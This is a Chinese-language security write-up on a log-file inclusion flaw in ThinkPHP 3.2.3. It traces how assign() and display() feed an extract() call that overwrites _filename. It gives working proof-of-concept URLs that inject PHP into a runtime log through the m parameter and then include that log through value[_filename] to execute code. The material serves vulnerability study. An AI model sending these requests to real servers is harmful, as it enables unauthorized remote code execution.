thinkphp3.2.3日志包含分析
入口点修改
入口点在\Application\Home\Controller\IndexController.class.php
中
我们将这个初始的index代码进行修改,这里的第6行,如果不是这样的话,会有一点问题,这个之后会详细分析
我刚开始的调试过程中,第6行为 $this->assign('value',$value);
,这个会导致一个问题,之后会分析
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($value=''){
$this->assign($value);
$this->display();
}
}
调用流程图
调试分析
assign
首先查看assign
的过程
在第122行,调用了assign函数
ThinkPHP\Library\Think\View.class.php
中定义的assign()
到这里就会发现一个问题,这里会创建一个tVar[‘name’]=$value,而这个name的值就是value
,就是之后一切数组嵌套的原因,这是因为我的最开始的\Application\Home\Controller\IndexController.class.php
中写的有问题
我们将assign的第一个参数删除,那么在assign()函数中,就会满足if条件,进行第38行
然后执行display的时候,tVar中才是一个键值对,而不是value中又有一个键值对
display
从最开始的display开始
然后在ThinkPHP\Library\Think\View.class.php
的第125行,进行赋值,将tVar传值给了$params
在ThinkPHP\Library\Think\Hook.class.php
的listen函数中,第89行,将$params传入exec函数
然后ThinkPHP\Library\Think\Hook.class.php
的exec中,第119行,将params传入run函数
在ThinkPHP\Library\Behavior\ParseTemplateBehavior.class.php
的run函数这里,data其实就是params,然后将data[‘var’]传入fetch函数
在ThinkPHP\Library\Think\Template.class.php
中,第75行,将上面的传入的data[‘var’]赋值为this->tVar,然后77行,将this->tVar传入load函数
在ThinkPHP\Library\Think\Storage\Driver\File.class.php
中第77行进行判断,然后再78行进行extract赋值,但是因为是嵌套数组,所以其实是整了个value
数组,但是value没定义,如左边的变量
所以其实这个display()
,就是整一个params,然后一路传参,然后利用最后第78行的extract赋值,覆盖_filename
,进行文件包含
我的问题在于刚开始的params是个嵌套数组,多嵌套了一层,这就是问题所在!!!
所以将最开始的 $this->assign('value',$value);
删除第一个参数即可
poc分析
m参数指定文件夹,c参数指定控制器,a参数指定方法,value参数就是我们的可控参数
首先传参m
index.php?m=--><?=phpinfo();?>
然后在Application\Runtime\Logs\Common\22_06_14.log
中有记录
得到日志文件的路径,然后文件包含执行任意命令
index.php?m=Home&c=Index&a=index&value[_filename]=.\Application\Runtime\Logs\Common\22_06_14.log
关于日志文件生成
日志文件有两类,日志以天为单位进行记录
Application\Runtime\Logs\Common\22_06_14.log
Application\Runtime\Logs\Home\22_06_14.log
当调试模式开启
不报错的情况下,在Application\Runtime\Logs\Home\
中生成日志
报错的情况下,在Application\Runtime\Logs\Common
中生成日志
当调试模式关闭
不报错的情况下,不生成日志
报错的情况下,在Application\Runtime\Logs\Common
中生成日志
关于payload
index.php?m=Home&c=Index&a=index&value[_filename]=.\Application\Runtime\Logs\Common\22_06_14.log
三个参数分别是模块,控制器,操作
这里m参数指定文件夹,c参数指定控制器,a参数指定方法,value参数就是我们的可控参数
thinkphp
采用单一入口模式访问应用,对应用的所有请求都定向到应用的入口文件,系统会从URL
参数中解析当前请求的模块、控制器和操作,下面是一个标准的URL
访问格式:
第一种访问方式
http://localhost:/thinkphp/index.php/Home/Index/index 入口文件/模块/控制器/操作
第二种访问方式(传参数)
http://localhost:/thinkphp/index.php?m=Home&c=Index&a=index 传三个参数